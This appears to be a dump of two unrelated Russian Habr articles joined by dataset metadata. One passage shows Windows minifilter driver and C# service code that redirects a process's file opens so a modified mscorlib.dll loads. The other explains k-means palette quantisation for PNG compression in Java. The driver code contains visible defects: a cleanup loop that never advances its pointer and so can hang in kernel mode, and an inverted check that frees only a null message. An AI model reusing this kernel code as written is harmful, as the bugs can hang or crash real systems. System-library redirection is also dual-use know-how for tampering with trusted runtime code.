PCOMM_FS_REDIRECTIONS Redirections = (PCOMM_FS_REDIRECTIONS)&message->Data[0];
DbgPrint("Recieved reply from user-mode: NeedToMonitor = %s\n", Redirections->NeedToMonitor ? "TRUE" : "FALSE" );
if(Redirections->NeedToMonitor)
{
PbRepInitializeMapping(HandleToULong(ProcessId), Redirections);
} else {
DbgPrint("Thread %d not needed to be monitored. Skipping.", HandleToULong(ProcessId));
}
}
if(!message) myFree(message);
}
else
{
DbgPrint("Process destroyed: %x\n", ProcessId);
PPROCESSES_MAP_ENTRY entry = DRIVER_DATA.Mapping;
while( entry != NULL )
{
if(entry->Pid == HandleToULong(ProcessId))
{
PbRepDeleteMapping(entry);
break;
}
}
}
}
```
Код, представленный ниже просто инициализирует внутренние структуры относительно тех данных, которые пришли от сервиса Windows:
```
NTSTATUS PbRepInitializeMapping( __in ULONG pid, __in PCOMM_FS_REDIRECTIONS Redirections )
{
NTSTATUS status = STATUS_SUCCESS;
FltAcquirePushLockExclusive( &DRIVER_DATA.Sync );
__try
{
DbgPrint("PlociesSandbox!PbRepInitializeMapping: redirections count: %d\n", Redirections->PairsCount);
PMAPPING_ENTRY current = NULL;
// Lookup PID in map
PPROCESSES_MAP_ENTRY currentProcess = DRIVER_DATA.Mapping;
while(currentProcess != NULL)
{
if(currentProcess->Pid == pid)
{
DbgPrint("PlociesSandbox!PbRepInitializeMapping: Already initialized; skipping");
return STATUS_SUCCESS;
}
currentProcess = currentProcess->Next;
}
currentProcess = (PPROCESSES_MAP_ENTRY)myNonPagedAlloc(sizeof(PROCESSES_MAP_ENTRY));
currentProcess->Pid = pid;
currentProcess->Next = DRIVER_DATA.Mapping;
currentProcess->Prev = NULL;
if(DRIVER_DATA.Mapping != NULL) DRIVER_DATA.Mapping->Prev = currentProcess;
DRIVER_DATA.Mapping = currentProcess;
for(int i=0; i < Redirections->PairsCount; i++)
{
// Copying a pair of pathes From->To to internal mapping structure
int FromLen = wcslen(&Redirections->Data[Redirections->Positions[i].From]);
int ToLen = wcslen(&Redirections->Data[Redirections->Positions[i].To]);
PMAPPING_ENTRY mappingEntry = (PMAPPING_ENTRY)myAlloc(NonPagedPool, sizeof(MAPPING_ENTRY));
mappingEntry->OldName.Buffer = (WCHAR*)myAlloc(NonPagedPool, (FromLen + 1) * sizeof(WCHAR));
wcscpy(mappingEntry->OldName.Buffer, &Redirections->Data[Redirections->Positions[i].From]);
mappingEntry->OldName.Length = mappingEntry->OldName.MaximumLength = wcslen(mappingEntry->OldName.Buffer) * sizeof(WCHAR);
mappingEntry->NewName.Buffer = (WCHAR*)myAlloc(NonPagedPool, (ToLen + 1) * sizeof(WCHAR));
wcscpy(mappingEntry->NewName.Buffer, &Redirections->Data[Redirections->Positions[i].To]);
mappingEntry->NewName.Length = mappingEntry->NewName.MaximumLength = wcslen(mappingEntry->NewName.Buffer) * sizeof(WCHAR);
if(current == NULL)
{
current = mappingEntry;
currentProcess->entries = current;
} else {
current->Next = mappingEntry;
current = mappingEntry;
}
current->Next = NULL;
}
} __finally {
FltReleasePushLock( &DRIVER_DATA.Sync );
}
DbgPrint("PlociesSandbox!PbRepInitializeMapping: done\n");
return status;
}
```
И, последнее, функция поиска правила редиректа. Если правило найдено, возвращает STATUS\_SUCCESS и видоизмененный путь:
```
bool PbIsFolder(PUNICODE_STRING path)
{
return path->Buffer[path->Length/2 - 1] == L'\\';
}
NTSTATUS PbLookupRedirection(__in PUNICODE_STRING FilePath, __out PUNICODE_STRING *FileFound)
{
// Possible redirections:
// Full change: \Device\HarddiskVolume2\InternalPath\Path\To\Some\File.Ext -> \Device\.\Temporary\File.ext
// Partial change: \Device\HarddiskVolume2\InternalPath\ -> \Device\HarddiskVolume2\Temporary\
// in this case all pathes, starts with ..\InternalPath should be changed. For ex.:
// \Device\HarddiskVolume2\InternalPath\Some\Path\To\File.Ext -> \Device\HarddiskVolume2\Temporary\Some\Path\To\File.Ext
ULONG Pid = HandleToULong(PsGetCurrentProcessId());
FltAcquirePushLockShared( &DRIVER_DATA.Sync );
__try
{
PPROCESSES_MAP_ENTRY currentProcess = DRIVER_DATA.Mapping;
while(currentProcess != NULL)
{
if(currentProcess->Pid == Pid)
{
PMAPPING_ENTRY current = currentProcess->entries;
while(current != NULL)
{
if(PbIsFolder(¤t->OldName))
{
// Folders prefixes are identical, please note that all lengthes are double-sized
if(wcsncmp(current->OldName.Buffer, FilePath->Buffer, current->OldName.Length / 2) == NULL)
{
int newlength = (FilePath->Length - current->OldName.Length) + current->NewName.Length;
PUNICODE_STRING ret = PbAllocUnicodeString(newlength + 2);
RtlCopyUnicodeString(ret, ¤t->NewName);
RtlCopyMemory( Add2Ptr(ret->Buffer, ret->Length),
Add2Ptr(FilePath->Buffer, current->OldName.Length),
(FilePath->Length - current->OldName.Length) + 2);
ret->Length = wcslen(ret->Buffer) * 2;
*FileFound = ret;
return STATUS_SUCCESS;
}
} else {
if(wcscmp(current->OldName.Buffer, FilePath->Buffer) == NULL)
{
PUNICODE_STRING ret = PbAllocUnicodeString(current->NewName.Length + 2);
RtlCopyUnicodeString(ret, ¤t->NewName);
*FileFound = ret;
return STATUS_SUCCESS;
}
}
current = current->Next;
}
}
currentProcess = currentProcess->Next;
}
return STATUS_NOT_FOUND;
} __finally
{
FltReleasePushLock( &DRIVER_DATA.Sync );
}
}
```
### Выводы по разработке драйвера
У нас есть драйвер, который оповещает внешний сервис о создании новых процессов в операционной системе. Сервис получая информацию о процессе принимает решение о том, включать на нем мониторинг или нет. Если да, передает также список правил редиректов на файловой системе.
Написание сервиса Windows
-------------------------
Опять же, я не буду вдаваться в особые подробности. Это обычный сервис. Единственная особенность заключается в том что он должен ожидать от драйвера команд и отвечать на них. Ожидать мы будем при помощи IoCompletionPort. Этот механизм требует (в общем понятно для чего), чтобы на ожидании завершения ввода/вывода по порту висело несколько потоков. Когда придут данные, одна из задач просыпается и может эти данные обработать. Мы в этой задаче будем отсылать список редиректов.
Код может быть немного нечистый, ну да ладно. Главное делает что надо:
* FilterConnectCommunicationPort соединяет нас с драйвером
* CreateIoCompletionPort создает i/o completion port, все ссылки, где о нем почитать есть в коде
* MessagingManagerThread — класс, управляющий потоком обработки сообщений от драйвера
* Остановка (Stop) посылает всем потокам команду завершения через io completion port, иначе все будет висеть
```
public unsafe class MessagingManager
{
private const string FilterCommunicationPortName = "\\PoliciesInjectorCom0";
private IntPtr m_filterPortHandle;
private IntPtr m_ioCompletionPortHandle;
private IntPtr[] m_buffers;
private MessagingManagerThread[] m_threads;
private CancellationTokenSource m_cancellationToken;
public unsafe MessagingManager(Dictionary redirections)
{
uint hr = WinApi.FilterConnectCommunicationPort(FilterCommunicationPortName, 0, IntPtr.Zero, 0, IntPtr.Zero, out m\_filterPortHandle);
if(hr != 0x0)
{
throw WinApi.CreateWin32Exception(String.Format("Cannot connect to driver via '{0}' port", FilterCommunicationPortName));
}
Console.WriteLine("Connected to {0}", FilterCommunicationPortName);
// For more info, ENG: http://msdn.microsoft.com/en-us/library/windows/desktop/aa365198(v=vs.85).aspx
// For more info, RUS: http://www.rsdn.ru/article/baseserv/threadpool.xml
int threadsCount = Environment.ProcessorCount \* 2;
m\_ioCompletionPortHandle = WinApi.CreateIoCompletionPort(m\_filterPortHandle, IntPtr.Zero, IntPtr.Zero, threadsCount);
if(m\_ioCompletionPortHandle == IntPtr.Zero)
{
throw WinApi.CreateWin32Exception("Cannot create I/O Completeon port");
}
// Make thread for each processor and threads cancellation token
m\_threads = new MessagingManagerThread[threadsCount];
m\_buffers = new IntPtr[threadsCount];
m\_cancellationToken = new CancellationTokenSource();
Console.WriteLine("Number of threads to monitor: {0}", threadsCount);
for(int i=0; imini filters->scanner)
hr = WinApi.FilterGetMessage( m\_filterPortHandle, out buffer->Header, Marshal.SizeOf(typeof(F2U.IncomingMessagePacket)),
ref buffer->Overlapped );
if ( hr != WinApi.HRESULT\_FROM\_WIN32( WinApi.ERROR\_IO\_PENDING ) )
{
throw WinApi.CreateWin32Exception( String.Format("Cannot get filter message. 0x{0:X}", hr ));
}
}
}
}
public unsafe bool Stop()
{
bool successfull = true;
m\_cancellationToken.Cancel();
Console.WriteLine("Starting to cancel I/O.");
if (!WinApi.CancelIoEx(m\_filterPortHandle, IntPtr.Zero))
{
var errstr = String.Format("Cannot cancel I/O operations (0x{0:X}).", Marshal.GetLastWin32Error());
Console.WriteLine(errstr);
successfull = false;
// throw WinApi.CreateWin32Exception(errstr);
}
foreach(var thread in m\_threads.AsEnumerable())
{
var overlapped = new F2U.IncomingMessagePacket();
IntPtr \*completionKey;
overlapped.Message.Command = Command.CancelIOCompletionPort;
WinApi.PostQueuedCompletionStatus(m\_ioCompletionPortHandle, (uint)sizeof(F2U.IncomingMessagePacket), out completionKey, (NativeOverlapped \*) &overlapped);
}
foreach(var thread in m\_threads.AsEnumerable())
{
if(!thread.WaitHandle.WaitOne(2000))
{
Console.WriteLine("Failed while waiting for thread {0} is stopped", thread.ThreadId);
successfull = false;
// TODO: kill thread and report confusing bug
}
}
return successfull;
}
}
```
И, наконец, класс обслуживания потока:
```
public class MessagingManagerThread
{
private ManualResetEvent m_resetEvent;
private IntPtr m_ioCompletionPortHandle;
private IntPtr m_filterPortHandle;
private CancellationToken m_cancelToken;
private Thread m_thread;
private Int32 m_threadId;
private Dictionary m\_redirections;
private const int timeoutCompletionStatus = 5000;
///
/// Builds MessagingManagerThread object
///
/// I/O Completion Port Handle (Win32)
public MessagingManagerThread(IntPtr ioCompletionPortHandle, CancellationToken token, IntPtr filterPortHandle, Dictionary redirections)
{
m\_ioCompletionPortHandle = ioCompletionPortHandle;
m\_filterPortHandle = filterPortHandle;
m\_cancelToken = token;
m\_redirections = redirections;
m\_resetEvent = new ManualResetEvent(false);
m\_thread = new Thread( Start );
m\_thread.Start();
}
public WaitHandle WaitHandle
{
get { return m\_resetEvent; }
}
public Int32 ThreadId
{
get { return m\_threadId; }
}
public unsafe void Start()
{
try
{
// Get current thread id (unmanaged)
m\_threadId = WinApi.GetCurrentThreadId();
Console.WriteLine("Monitoring thread {0} is started", m\_threadId);
// Messages processing queue
while(true)
{
// If cancellation requested, we should to leave thread
if(m\_cancelToken.IsCancellationRequested)
{
Console.WriteLine("Cancellation on thread {0} is requested", m\_threadId);
return;
}
// Otherwise, we should read completion port
uint numberOfBytesTransferred;
UIntPtr lpCompletionKey;
NativeOverlapped\* lpOverlapped;
Console.WriteLine("Starting waiting for message at {0}... ", m\_threadId);
if(!WinApi.GetQueuedCompletionStatus(m\_ioCompletionPortHandle, out numberOfBytesTransferred, out lpCompletionKey, out lpOverlapped, -1))
{
// Something wrong happend
var error = Marshal.GetLastWin32Error();
if(error == WinApi.ERROR\_OPERATION\_ABORTED)
{
return;
}
if(error == WinApi.WAIT\_TIMEOUT)
{
Console.WriteLine("Time out {0}", m\_threadId);
continue;
}
Console.WriteLine("WinApi.GetQueuedCompletionStatus returns error code: {0:X}", error);
throw WinApi.CreateWin32Exception("GetQueuedCompletionStatus", (uint)error);
}
Console.WriteLine("GetQueuedCompletionStatus finished successfully, Message is recieved");
// Message recieved
var request = (F2U.IncomingMessagePacket \*)lpOverlapped;
if(request->Message.Command == Command.ProcessAttached)
{
Run\_ProcessAttached(request);
} else
if(request->Message.Command == Command.CancelIOCompletionPort)
{
Console.WriteLine("Thread destroying requested");
}
// Queue a new request completion.
WinApi.RtlZeroMemory( (IntPtr) request, Marshal.SizeOf(request->GetType()));
uint hr = WinApi.FilterGetMessage( m\_filterPortHandle, out request->Header, Marshal.SizeOf(request->GetType()),
ref request->Overlapped );
if (hr != WinApi.HRESULT\_FROM\_WIN32(WinApi.ERROR\_IO\_PENDING))
{
throw WinApi.CreateWin32Exception( "Cannot get filter message", hr );
}
}
} finally
{
// Send signal to owner
m\_resetEvent.Set();
}
}
private unsafe void Run\_ProcessAttached(F2U.IncomingMessagePacket \*data)
{
var pid = ((F2U.ProcessAttached \*)data->Message.Data)->ProcessId;
Console.WriteLine("Incoming request for PID = {0}", pid);
var reply = new IncomingMessagePacketReply();
reply.Header.NtStatus = 0;
reply.Header.MessageId = data->Header.MessageId;
reply.Message.Command = Command.ProcessAttached;
int size= Message.MAX\_DATA\_SIZE;
var pAttachedReply = ((ProcessAttachedReply \*)(&reply.Message.Data[0]));
pAttachedReply->NeedToMonitor=1;
Process process = null;
try {
process = Process.GetProcessById(pid);
Console.WriteLine("Retrieved name by pid: {0}; Managed: ???", process.ProcessName);
} catch(ArgumentException ex)
{
pAttachedReply->NeedToMonitor=0;
}
if(!process.ProcessName.Contains("testredir"))
pAttachedReply->NeedToMonitor = 0;
if(pAttachedReply->NeedToMonitor==1)
{
int pos = 0, index = 0;
Console.WriteLine("Redirections registered: {0}", m\_redirections.Count);
foreach(var redirection in m\_redirections )
{
Console.WriteLine(" -- Trying to add redirection: \n {0}\n {1}", redirection.Key, redirection.Value);
unchecked {
((ProcessAttachedReply\_Positions \*)&pAttachedReply->Positions[index])->From = (ushort)pos;
AppendStringToArray(&pAttachedReply->Data, redirection.Key, ref pos);
((ProcessAttachedReply\_Positions \*)&pAttachedReply->Positions[index])->To = (ushort)pos;
AppendStringToArray(&pAttachedReply->Data, redirection.Value, ref pos);
index++;
}
}
pAttachedReply->PairsCount = (ushort)m\_redirections.Count;
}
uint status = WinApi.FilterReplyMessage(m\_filterPortHandle, ref reply.Header, (int)size);
Console.WriteLine("Making reply: Command = ProcessAttached, NeedToMonitor = True, Size = {0}, ReplyStat=0x{1:X}", size, status);
}
private unsafe void AppendStringToArray(ushort \*arr, string str, ref int position)
{
foreach(var ch in str)
{
arr[position] = ch;
position++;
}
arr[position]=0;
position++;
}
}
```
Настройка происходит следующим не хитрым образом:
```
var redir = new RedirectionsManager();
redir.Add(typeof(Environment).Assembly.GetName(), "\\temp\\GAC32\\mscorlib.dll");
```
Это значит что любое обращение к сборке **mscorlib.dll** в GAC приведет к редиректу в папку «C:\temp\GAC32\mscorlib.dll» для 32-х разрядной системы. Для 64-х разрядной проделайте тоже самое, но для другой папки.
Модифицируем mscorlib.dll
-------------------------
Для модификации mscorlib можно воспользоваться .Net Reflector + Reflexil, старыми freeware версиями.
В них я заменил System.Environment.get\_Version() так, чтобы номер версии был «5.0.40930.0»
Проверка результатов
--------------------
Для тестирования создадим .Net Framework 4.0 приложение и назовем его **testredir**, поскольку наш драйвер ожидает именно такое имя процесса.
Текст приложения прост до невозможности
```
using System;
namespace testredir
{
public static class testredir
{
public static void Main(string[] args)
{
Console.WriteLine("Ver: {0}!", System.Environment.Version);
Console.Write("Press any key to continue . . . ");
Console.ReadKey(true);
}
}
}
```
Вывод программы:
`Ver: 5.0.40930.0!`
Заметка:
Изменять код системных библиотек необходимо аккуратно. Например, наш пример валит часть программного обеспечения, поскольку оно проверяет номер версии, на которой запускается. Хорошим примером может послужить создание логгера внутренних событий, чем я сейчас и занимаюсь
Источники:
* <http://fsfilters.blogspot.com/>
* DDK Examples->mini filters->scanner
* [msdn.microsoft.com/en-us/library/windows/desktop/aa365198](http://msdn.microsoft.com/en-us/library/windows/desktop/aa365198)(v=vs.85).aspx
* [www.rsdn.ru/article/baseserv/threadpool.xml](http://www.rsdn.ru/article/baseserv/threadpool.xml) | https://habr.com/ru/post/239005/ | null | ru | null |
# Кластеризация палитры изображения и сжатие в формате PNG
#### Аннотация
В данной статье читателю предлагается опыт разработки алгоритма сжатия изображения, хранящегося в формате PNG. Сжатие осуществляется за счет квантования палитры с использованием классификатора К–внутригрупповых средних. Приводится исходный код алгоритма, написанный на языке Java. Указываются проблемы и дальнейшие пути улучшения алгоритма.
#### Введение
Формат PNG (произносится как «пинг») предназначен для хранения и передачи растровых изображений. Формат обеспечивает поэтапное отображение данных изображения, хранение информации о показателе гамма, о прозрачности каждого пикселя, а так же текстовой информации. Формат использует эффективный метод сжатия без потерь [1].
Файл (или поток данных) в формате PNG состоит из идентификационной подписи и не менее чем трех порций данных. В PNG определены четыре стандартные порции, называемые критическими порциями, которые должны поддерживаться всеми программами чтения и записи [1]:
1. Порция заголовка (IHDR).
2. Порция палитры (PLTE) – хранит данные цветовой таблицы, связанные с данными изображения. Эта порция присутствует в файле только в том случае, когда данные изображения используют цветовую палитру (индексацию цвета).
3. Порция данных изображения (IDAT).
4. Завершающая порция (IEND).
Подробнее про описание и особенности формата PNG приведено в [2]. Там же описываются алгоритмы сжатия, используемые форматом и указываются области применения.
Основная идея уменьшения размера картинки, хранящейся в PNG формате, состоит в уменьшении количества различных цветов представленных на изображении. При этом потеря исходного количества цветов может быть совершенно незаметна для глаза человека. По мнению автора одна из самых качественных на сегодняшний (02.2011) момент программ – Color Quantizer (CQ) [3]. К основным возможностям этой программы относится:
* конвертирование в произвольное количество цветов,
* удобное редактирование палитры,
* пакетная оптимизация.
В качестве тестового рисунка для дальнейших исследований выберем изображение из [4], представленное на рисунке 1 ниже. Отметим, что рисунок 1 не содержит альфа канала и шахматный фон — лишь имитация. Исходное изображение содержит 43500 уникальных цветов. С использованием программы CQ составлена таблица 1, содержащая данные о количестве оставленных цветов на изображении и размере выходного файла. При сжатии в CQ был выставлен уровень ошибки равный 25%.
Таблица 1 – Показатели сжатия изображения с использованием программы CQ
| | |
| --- | --- |
| **Количество цветов, кол.** | **Размер, байт на диске** |
| 43 500 (исходное) | 184 320 |
| 4096 | 147 456 |
| 1024 | 106 496 |
| 256 | 53 248 |
Как видно из данных таблицы 1 при уменьшении количества цветов до 256 размер получаемого файла составляет 53 248 байт, что в почти 3.5 раза меньше чем исходный файл.
Рисунок 1 — Тестовое изображение формата PNG для исследований, разрешение — 800x600
Рисунок 2 – Сжатое до 256 цветов изображение с использованием программы Color Quantizer
Рисунок 3 — Сжатое до 256 цветов изображение с использованием разработанного алгоритма
Естественно такая серьезная потеря цвета не может пройти бесследно для изображения, однако в данном случае она на взгляд автора несущественна. На рисунке 2 представлено сжатое до 256 цветов изображение. Таким образом, можно существенно уменьшить объем PNG картинки простым уменьшением количества цветов, что особенно важно при использовании изображений в web. Однако сделать это не так просто, программа CQ обладает существенным недостатком – крайне медленная скорость работы, что делает затруднительным ее использование в режиме реального времени, например, при передаче данных геоинформационных систем. Оказывается, что время, которое требуется для сжатия изображения, в разы превосходит время необходимое для передачи исходного – несжатого изображения.
В следующей главе будет описан очень простой и достаточно быстрый алгоритм, позволяющий в режиме реального времени уменьшать количество цветов на изображении путем квантования (кластеризации) палитры (здесь речь не о PLTE порции) изображения.
#### Алгоритм кластеризации палитры изображения
Палитра изображение представляет собой множество цветов, используемых на изображении. Если изображение хранится в формате RGB, то каждая точка этого множества имеет три координаты – Red, Green, Blue; а если в формате ARGB, то добавляется еще одна, очень важная компонента – альфа канал или прозрачность.
Палитру можно представить набором точек в трехмерном для RGB или четырехмерном для ARGB пространствах. За счет присутствия на изображении плавных переходов и полутонов цвета, точки будут образовывать «облака» — так называемые кластеры, где все точки одного кластера имеют близкий друг другу цвет. Поэтому, для точек, которые попали в один кластер, можно назначить один усредненный (один из вариантов) цвет, и уменьшить за счет этого размерность множества – палитры.
Однако вначале необходимо определить меру близости между цветами. Существует множество вариантов, все они основаны на построении пространства цветов которое визуально равномерно [5]. В данной статье автор применяет наиболее **простой** подход – выбирается взвешенная Евклидова метрика. В этом случае расстояние между цветами в формате ARGB определяется формулой
где *x* и *y* — цвета с компонентами *{xA, xR, xG, xB}, {yA, yR, yG, yB}* а *α, β, γ, ε* — параметры, возможно обеспечивающие визуальную равномерность, которые подбираются экспериментально.
Разработано множество алгоритмов кластеризации данных [6], один из самых простых алгоритмов – К–внутригрупповых средних, который используется, если известно количество кластеров, на которые разбивается множество объектов (в нашем случае – множество цветов). Алгоритм может быть представлен следующими шагами:
* 0. За N искомых кластеров принимаются любые N точек множества, например первые по номеру.
* 1. Для каждого найденного кластера рассчитываем центр – среднее значение (центр масс) среди всех объектов, включенных в него.
* 2. Для каждого объекта из множества рассчитываем набор расстояний до каждого из N кластеров.
* 3. Каждый объект множества относим в тот кластер, расстояние до которого минимально.
* 4. Переходим к шагу 1, до тех пор, пока не удовлетворен некоторый формальный критерий качества кластеризации.
Автор использовал следующий критерий останова итерационного алгоритма кластеризации: итерации прекращаются, если количество объектов изменивших свой кластер на текущем шаге равно количеству таких же объектов на предыдущем шаге.
Реализация данного алгоритма не вызывает существенных сложностей. В файле, прикрепленном к статье приведен исходный код алгоритма. Для работы с PNG изображением используется модуль PNGEncoder [7].
[Ссылка для скачивания архива с исходным текстом](http://cid-efdf448b2c7ad185.office.live.com/self.aspx/.Public/PNGCompression.rar)
#### Пример вызова функции уменьшения количества цветов
``> 1. String imageFileName = "D:/Projects/PNG/big.png";
> 2. String outImageFileName = "D:/Projects/PNG/bigout";
> 3. int ColorCounts = 255;
> 4. // Чтение PNG картинки
> 5. PngImage image = new PngImage();
> 6. BufferedImage bufImage = image.read(new File(imageFileName));
> 7. // Сжатие картинки
> 8. CPNGCompression.Compression(bufImage, true, ColorCounts);
> 9. // Сохранение
> 10. encoder.setColorType(encoder.COLOR\_INDEXED\_ALPHA);// Поддержка альфа канала
> 11. encoder.setCompression(encoder.BEST\_COMPRESSION); // Уровень сжатия PNG
> 12. // Индексированная палитра (блок PLTE) - поддерживается если количество цветов не превышает 255
> 13. encoder.setIndexedColorMode(encoder.INDEXED\_COLORS\_AUTO);
> 14. // Запись в поток
> 15. FileOutputStream outfile = new FileOutputStream(outImageFileName + ".png");
> 16. encoder.encode(bufImage, outfile);
> 17. outfile.flush();
> 18. outfile.close();
> \* This source code was highlighted with Source Code Highlighter.`
Сигнатура функции
``> 1. public static void Compression
> 2. (
> 3. BufferedImage aImage, // Изображение для сжатия
> 4. boolean aUseFixedColorList, // Настроены ли цвета которые нельзя изменять
> 5. int aColorCount // Количество требуемых цветов на выходе
> 6. )
> \* This source code was highlighted with Source Code Highlighter.`
Функция Compression — статическая для класса CPNGCompression. Если параметр aUseFixedColorList установлен в true, то некоторые цвета на изображении становятся «неприкасаемыми» — список таких цветов настраивается в статическом массиве класса CPNGCompression. Неприкасаемые цвета введены для того, чтобы, например, не происходило смешение (при вычислении центра кластера) белого и черного с образованием серого.
Логично предположить, что визуальное качество классификации сильно зависит от коэффициентов в формуле (1), которые могут быть определены для ограниченного класса изображений, например для специальных картографических данных автором подобраны следующие значения: *α=100, β=30, γ=59, ε=11*.
На рисунке 3 представлен результат сжатия до 256 цветов исходной картинки с использованием разработанного алгоритма. Суммарное время открытия, сжатия и сохранения составило **4700 мсек**. Размер выходного файла составляет **53 248 байт**, так же как и для программы CQ (таблица 1). Как мы видим, рисунок 3 по сравнению с рисунком 2, имеет измененный цвет фона – *визуально он стал ближе к желтому цвету, чем к серому*. Этот дефект легко устраняется, если указать в качестве «неприкасаемых» белый и серый цвета – которые составляют фон.
#### Заключение
В статье рассмотрен один из простейших алгоритмов кластеризации используемый в задаче уменьшения количества цветов на изображении. Алгоритм сравнивается с известным решением – программой CQ. Дальнейшие улучшения алгоритма могут быть связаны с
* изменением критерия завершения итераций,
* модификацией функции расстояния между цветами,
* переходом в другое цветовое пространство при кластеризации.
#### Дополнения к статье — по мотивам комментариев
В основной статье не приводится изображения, сжатого данным алгоритмом, с использованием «неприкасаемых цветов». Настроем неприкасаемые цвета следующим образом:
``> 1. // Настраиваем неприкасаемые цвета
> 2. CPNGCompression.m\_fixedColors = new int [2];
> 3. CPNGCompression.m\_fixedColors[0] = 0xFF969696;
> 4. CPNGCompression.m\_fixedColors[1] = 0xFFFFFFFF;
> 5. // Сжимаем
> 6. CPNGCompression.Compression(bufImage, true, 256);
> \* This source code was highlighted with Source Code Highlighter.`
Тогда результатом сжатия рассматриваемым здесь алгоритмом будет изображение:
Рисунок 4 — Сжатое изображение с использованием **двух неприкасаемых** цветов
Размер данной картинки так же составляет 53 243 байт на диске.
Как сделать сравнение времени работы программы CQ с нужной точность я не знаю.
С использованием системных часов, с точностью +-2 секунды, сжатие до 256 цветов программой CQ выполняется за **34 секунды**, что на порядок хуже, чем результат предлагаемого алгоритма.
#### Используемые источники
1. Д. Мюррей, У. ван Райпер. Энциклопедия форматов графических файлов.
2. Greg Roelofs, Иван Зенков, Dimok Busheff. PNG: Простое введение в особенности формата / [Ссылка](http://rus-linux.net/zen/png_feature/png_feature.html)
3. Color Quantizer: Программа позволяющая легко оптимизировать изображения для web / [Ссылка](http://x128.ho.ua/color-quantizer.html)
4. Материал из википедии, тестовое изображение, GNU Free Documentation License / [Ссылка](http://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:PNG_transparency_demonstration_2.png)
5. А.И. Куликов, Т.Э. Овчинникова. Пространство CIE Luv, Алгоритмические основы современной компьютерной графики / [Ссылка](http://www.intuit.ru/department/graphics/graphalg/2/5.html)
6. Обзор алгоритмов кластеризации данных / [Ссылка](http://habrahabr.ru/blogs/data_mining/101338/)
7. Пакет PNGEncoder для работы с изображениями в формате PNG, Java / [Ссылка](http://catcode.com/pngencoder/)``` | https://habr.com/ru/post/113393/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.